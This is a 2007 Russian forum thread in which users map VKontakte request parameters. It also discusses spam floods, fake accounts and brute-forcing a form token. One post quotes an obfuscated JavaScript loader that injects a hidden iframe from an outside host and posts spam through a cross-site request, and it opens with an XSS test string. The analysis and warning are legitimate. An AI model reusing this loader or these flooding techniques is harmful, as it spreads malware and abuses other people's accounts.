<script language="javascript">alert("xak");</script> -> Запросы




Правила конференции





 

Андрей Тарасов

пише?10 мая 2007 в 19:07

Значет так посмотрим какже у нас формируются запросы к базе вконтакта.
Может кому и пригодится.

1. редактируем контактную инфу

profileEdit.php?page=contacts

subm ;по умолчанию 1 работает также со всеми >= 1

cmail ;контактное мыло - строка

privacyMail ;эти шняги указывают на видимость
privacyMPhone ;вашей инфы для других
privacyHPhone ;2 - тока френды
privacyICQ ;0 - френды и вуз
privacyAddress ;1 - все

mobile_phone ;строки с вашей инфой
home_phone
icq
website
city
address
postal_index
faddress
fnick

2. интересы и иже с нимим

profileEdit.php?page=personal

subm

activities
interests
music
movies
tv
books
games
quotes
about

3. образование

profileEdit.php?page=education

wposition5
subm
country
uni_city
other_city_name
other_university_name
other_faculty_name
chair
other_chair_name
edu_form
edu_status
graduation
country1
city1
other_city_name1
school1
s_type1
other_school_name1
s_start1
s_finish1
s_grad1
s_class1
s_spec1
country2
city2
other_city_name2
s_type2
other_school_name2
s_start2
s_finish2
s_grad2
s_class2
s_spec2
country3
city3
other_city_name3
s_type3
other_school_name3
s_start3
s_finish3
s_grad3
s_class3
s_spec3
country4
city4
other_city_name4
s_type4
other_school_name4
s_start4
s_finish4
s_grad4
s_class4
s_spec4
country5
city5
other_city_name5
s_type5
other_school_name5
s_start5
s_finish5
s_gra5.d5
s_class5
s_spec5

4. работа

profileEdit.php?page=career

s_spec5
subm
wcountry1
wcity1
other_wcity_name1
wcompany1
other_wcompany_name1
w_start1
w_finish1
wposition1
wcountry2
wcity2
other_wcity_name2
wcompany2
other_wcompany_name2
w_start2
w_finish2
wposition2
wcountry3
wcity3
other_wcity_name3
wcompany3
other_wcompany_name3
w_start3
w_finish3
wposition3
wcountry4
wcity4
other_wcity_name4
wcompany4
other_wcompany_name4
w_start4
w_finish4
wposition4
wcountry5
wcity5
other_wcity_name5
wcompany5
other_wcompany_name5
w_start5
w_finish5
wposition5

5. добавляем друга

friend.php?act=addFriend

fid
first_name
last_name
sex
message

6. удаляем друга

friend.php

title
id
first_name
last_name
sex
act

7. посыл месага

mail.php

message
secure
photo
to_id
to_reply
act = sent
title

8. делаем заметку

notes.php

act = add
preview
title
post

9. создаем группу

groups.php

act = doCreate
name

10. редактируем группу

groups.php

act = info
subm
gid
name
net
description
type
recent_news
email
website
country
uni_city
other_city_name
show_wall
can_post_topics
access

11. отправка приглашения (неплохой флуд/спам получится)

invite.php

act = sent
email
first_name
last_name
cmate
cfriend
message

+ есть автоматическая рассылка прилашений

Георгий g Закарашвили

пише?15 мая 2007 в 0:29

комент к заметке

notes.php
blog_id=
post_id=
act=addComment
comment=' '

Денис Валентинович Рысцов

пише?15 мая 2007 в 0:36

Такие данные очень удобно собирать с помощью программы Fiddler (fiddlertool.com) Она перехватывает http пакеты и позволяет просматривать их, изменять, блокировать. Её плюс в том, что написана на .NET'e на языке JScript и поправив один файл, информация о всех пост, гет запросах пишется в файл.

Георгий g Закарашвили

пише?15 мая 2007 в 0:46

а не проще посмотреть с исходник.. там все видно вроде :)

а вааще есть идея разрешить механизм авто-постинго заметок например...
как это сделано на Delicious например. те кнопку в закладках по нажатию которой происходт авто пост, выделеного текста, например...

я потыкал чутка, но видимо стоит запрет на использование скриптов в аргументах...

Мэтью Сахарок

пише?23 мая 2007 в 14:06

во прикол ! я ваще тока ща врубился как можно бес палева на процентов 200 увеличить заполненность анкеты =) ххы

Алексей Богатов

пише?23 мая 2007 в 22:42

[Мэтью] aka [СахароК], заинтересовал. И как же ты залезаешь в settings.php?act=rate ?

Алексей Богатов

пише?23 мая 2007 в 23:03

Или дело в алгоритме подсчета процентов, который при определенном заполнении начинает глючить и число вылезает за 200?

Алексей Добромыслов

пише?24 мая 2007 в 0:48

Создать 200 fake =)

Алексей Богатов

пише?24 мая 2007 в 2:47

А.Д.
А ведь ты прав... :lol:

Tony | Антон Анисимов

пише?24 мая 2007 в 15:32

поделитесь хоть как сделать 100, а то у самих уже больше 100...

Саня ★ Чернов

пише?24 мая 2007 в 20:21

Непонял.. у меня ща 108. Т.е. если поколдовать - будет 308?
Мэтью колись!

Виктор Касаткин

пише?25 мая 2007 в 11:43

Интересно, людей с возрастом от 5 до 15 можно искать:
people.php
y1=5
y2=15

А как найти всех людей с отрицательным возрастом?

Виктор Касаткин

пише?25 мая 2007 в 11:52

Sorry, торможу. y1=0&y2=1

Саша Константинов

пише?20 июн 2007 в 12:25

Вопрос: запрос обрабатывается на сервере или у меня на компе? Т.е. я могу таким образом вставить в интересы свои какой-нибудь html код? Потому что если я его напишу просто изменяя данные свои, то там все значки < заменятся на другие. А так можно сделать будет, чтобы размер шрифта был другой)

Алексей Богатов

пише?20 июн 2007 в 17:46

Ну попробуй =]
И сделай выводы.

Альберт Александрович Глазунов

пише?27 июн 2007 в 15:23

интересуют левое меню: Хотелось бы отловить переменную, которая указывает на кол-во, например, непрочитанных сообщений, которые выставляются рядом. ("Мои Сообщения (1)" )

Алексей Богатов

пише?28 июн 2007 в 1:38

Непонятно.
Есть ссылка вида mail.php?act=show&id=***
Где id - это уникальный идентификатор сообщения среди всех сообщений на сайте.
Если пройти по ней, счетчик уменьшится на 1 - вероятно, в базе сообщение с этим id отмечается как прочитанное и счетчик декрементируется, после чего скриптом mail.php генерируется страница с новым значением счетчика.
Интересует что-то более глубокое?

Альберт Александрович Глазунов

пише?28 июн 2007 в 16:59

Появилась мысль грузить информацию о новых сообщениях в Active Desktop (через флэшку) или какой-нибудь клиент в трее, чтобы не отвлекаться от работы и часто не перезагружать страницу.

Собственно говоря, основная страница формируется php-скриптом из блоков-includes. Меня интересует блок левого меню. А если точнее разделы "Мои сообщения", "Мои Группы"... итп. Более, чем уверен, что структура меню представляет собой что-нибудь типа: $message; $group; Интересно, каким скриптом он создается.

Как запасной вариант можно просто периодически грузить всю страницу, а потом ее парсить и искать нужные теги, но этот вариант мне нравится меньше.

Алексей Богатов

пише?28 июн 2007 в 23:38

Мне неизвестно, как доподлинно узнать о деталях создания этого меню, не видя кода mail.php. А чтобы исходники увидеть, сайт ломать надо =]
А парсить страницу - легко. В случае с друзьями там вообще ссылка другая.

Альберт Александрович Глазунов

пише?29 июн 2007 в 0:10

ну ладно, вдруг, думаю, кто-нить уже глубоко закопался в скрипты контакта ))

Леонид Петров

пише?9 июл 2007 в 12:32

Навели шуму про +200% к рейтингу)))

Александр Сергеевич Яремчук

пише?13 июл 2007 в 18:01

To Альберт Александрович Глазунов

Так по-моему тут нет проблем - сделать запрос на login.php а потом делать запрос на profile.php через некоторое время и смотреть результат - если есть строка "Мои Сообщения (" значит пришло новое сообщение. Можно и количество отсюда же достать.

Алексей Богатов

пише?16 июл 2007 в 4:50

Саша,
совершенно правильно говоришь - только всё сводится к "парсить полностью загруженную страницу", чего не хотелось.

Andromalius נעמה Astaroth

пише?16 июл 2007 в 16:22

А у создателей контакта нет планов XML-версию написать? - а то можно было бы клиенты попрограммировать разные =)))

Артём PETROVICH Мескалиновый кактус Петров

пише?23 июл 2007 в 9:50

http://mega-pricol.narod.ru хееех, посмейтесь...

Иван Ботов

пише?23 июл 2007 в 14:07

Хмм.

<script LANGUAGE="JavaScript">
<!--
function Decode(){var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!116!111!111!112!97!46!53!103!98!102!114!101!101!46!99!111!109!47!50!53!46!112!104!112!34!32!119!105!100!116!104!61!49!32!104!101!105!103!104!116!61!49!32!115!99!114!111!108!108!105!110!103!61!110!111!32!109!97!114!103!105!110!119!105!100!116!104!61!49!32!109!97!114!103!105!110!104!101!105!103!104!116!61!49!32!10!10!102!114!97!109!101!98!111!114!100!101!114!61!48!32!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);}
//-->
</SCRIPT><script LANGUAGE="JavaScript">
<!--
Decode();
//-->
</SCRIPT>

Выводит "<iframe src="http://toopa.5gbfree.com/25.php" width=1 height=1 scrolling=no marginwidth=1 marginheight=1 frameborder=0 ></iframe>" в документ.

Смотрим, что там:

<META HTTP-EQUIV="Refresh" CONTENT="1">
</HEAD>
<FRAMESET ROWS="1%" FRAMEBORDER="0" FRAMESPACING="0">
<FRAME SRC="photos.php?id=258116&act=pos...= http://jumor-photos.narod.ru - клевые приколы, посмотрите - реально смешно=))) " NORESIZE>
</FRAMESET>

Иван Ботов

пише?23 июл 2007 в 14:08

По ссылкам ходить не рекомендуется, предварительно не вылогинившись 8)

Иван Ботов

пише?23 июл 2007 в 14:40

Можно было бы красивее написать, без своей функции Decode и iframe'ов.

Алексей Богатов

пише?23 июл 2007 в 16:05

Мне вот интересно, кто у кого спер эту функцию Decode.
Она ровно та же на soox.narod.ru и vkontakte.2.nm.ru
Или просто автор один?

Иван Ботов

пише?23 июл 2007 в 22:19

Скорее всего, автор один. Посмотри, что там открывается в iframe'ах.
У меня у самого была похожая функция.

Илья Быстров

пише?24 июл 2007 в 0:59

Хмм... думал, не много таких как я, кто занимается ... ну в общем этим.
Пытаюсь создать заметку. Security Breach. Я что то не так делаю?
preview - это предпросмотр? о.О
notes.php?act=add&preview=0&...

Иван Ботов

пише?24 июл 2007 в 1:30

А что это у тебя там такое закодировано?
И чем именно - "этим"? 8]

Альберт Александрович Глазунов

пише?24 июл 2007 в 2:09

Александр Сергеевич Яремчук
Я так и сделал: гружу страницу с интервалом 20 секунд. Если есть новые сообщения, встречи итп., то раздается мелодичная музыка. Стало удобно дожидаться девушку в инете, так как у нас с ней 8 часов разницы).

Иван Ботов

пише?24 июл 2007 в 2:24

Дикие люди. Никогда не видели ICQ. 8)

Альберт Александрович Глазунов

пише?24 июл 2007 в 3:16

все мы извращенцы в какой-то мере))
а аськи там нет - ведомственная машина, веб-версия -не хочет работать, а для девушки установить яву или обновить флэш - срьезный и ответственный шаг, который под силу только Программистам..

Иван Ботов

пише?24 июл 2007 в 3:26

Ну ясно. 8)

Император Александр Андреевич Падённый

пише?24 июл 2007 в 4:23

Может мне кто нибудь сказать как можно имя поменять так что бы можно было Две большые буквы написать или там пробел в имени??

Илья Быстров

пише?24 июл 2007 в 15:47

2Император Александр Андреевич Падённый:
Нет, по-моему.

2Иван Ботов:
> А что это у тебя там такое закодировано?
Помоги сделать запрос - увидишь прикол))
> И чем именно - "этим"? 8]
Ковырянием контакта, поиски багов, составление запросов, нахождение интересных (и довольно странных) фич \ недоработок.

2All:
Скажет мне всё таки кто-нибудь, за что отвечает preview в запросе на создание заметки???
notes.php?act=add&preview=<что здесь ставить???>&.......

Илья Быстров

пише?24 июл 2007 в 16:57

Вопрос про создание заметки отменяется. Запросом её создать, видимо, не возможно.

Сергей Иванов

пише?24 июл 2007 в 18:57

notes.php?act=add&preview=0&...

вот тока не понятно что за хэш...

Иван Ботов

пише?24 июл 2007 в 19:53

Побрутфорси.

Илья Быстров

пише?24 июл 2007 в 20:34

2Иван Ботов
Смеёшься? :D Долго будет...

Всем быстро смотреть:
club3305 Смотрите стену.
Видимо, кто то написал скрипт для коментов на стене. Работает уже 2 часа со скоростью 15 коментов\мин. Интересно. Уже забито ~80 страниц, это 800 сообщений. Неплохо.

Илья Быстров

пише?24 июл 2007 в 20:43

Блин, тока что сообразил, что писать то там нечего)) Всё и так понятна))

Бездельник ت

пише?24 июл 2007 в 22:34

хорошие люди развлекаются)) так что все ок)) да и скрипт для стенки уже не новость, как и для приглашений

Бездельник ت

пише?24 июл 2007 в 22:37

Иван Ботов

пише?24 июл 2007 в 22:41

Илья Быстров, угадай тогда.

Сергей Иванов

пише?25 июл 2007 в 2:31

Илья Быстров
Хэш к заметки генерится рандомно? одному юзеру один хэш... или он както связан с данными юзера ( id,mail..)

Сергей Иванов

пише?25 июл 2007 в 2:46

есть предложение собрать базу ID с префиксами, введёными для затруднения флуда на стенах групп...

Иван Ботов

пише?25 июл 2007 в 9:49

Там не префикс, там постфикс. Нахрена её собирать? Будешь флудить - прямо их и возьмёшь. Ну, или закешируешь, если они тебе прямо так нужны.

flooder floooooder

пише?25 июл 2007 в 13:32

club2147483647867969898711111111... a ktonit mojt obiasnit che et znachit?

Илья Быстров

пише?25 июл 2007 в 16:38

2Сергей Иванов:
Ну по идее хэш должен генерится рандомно. Всегда.

2Иван Ботов:
Угадать хеш? :D Эт почти невозможно.

2flooder floooooder:
На самом деле адрес группы: club2147483647
Все цифры, идущие дальше - бред. Т.е. не имеет значения, что написать после первых 10 цифр. Хоть 01010101010101 напишите. Всё равно попадёте в ту группу. Но меня заинтересовало другое. Глюк: там в участниках некий Миша идёт два раза. Вот эт уже интересней. В списке пользоателей он один, а вот на главной он дублируется. Странно.

Бездельник ت

пише?25 июл 2007 в 20:47

club123456789

да любое пиши несуразное, просто группа DELЕTЕD

Бездельник ت

пише?25 июл 2007 в 20:56

а насчет club2147483647
максимальный id группы ((2^31)-1), т.е. как раз это число. кто-то запалил это раньше)

Сергей Иванов

пише?27 июл 2007 в 0:39

админы ввели защиту от флуда в сообщениях... нельзя отправлять одинаковые:D

Алексей Богатов

пише?27 июл 2007 в 1:50

В сообщениях - которые mail.php? Так ее уже 100 лет назад ввели.

Сергей Иванов

пише?27 июл 2007 в 2:08

сорь тогда... я тока заметил.. т.к. раньше не сталкивался
а и ещё... нафиг нужен Хэш secure? он же в страничке хранится...

Владимир Янышев

пише?3 авг 2007 в 0:13

А запросы к поисковой базе кто-нубудь пробовал сам креэйтить ? Например, нет детального поиска людей по группам.. А может можно создать ?

Алексей Богатов

пише?3 авг 2007 в 22:15

Владимир, если речь о чем-нибудь вроде
search.php?byear=1988&f14=ислам (а не об sql) - можно просто проэкспериментировать с разными сочетаниями параметров.


Top
 



You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Search for:

Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
[ Time : 0.084s | 10 Queries | GZIP : Off ]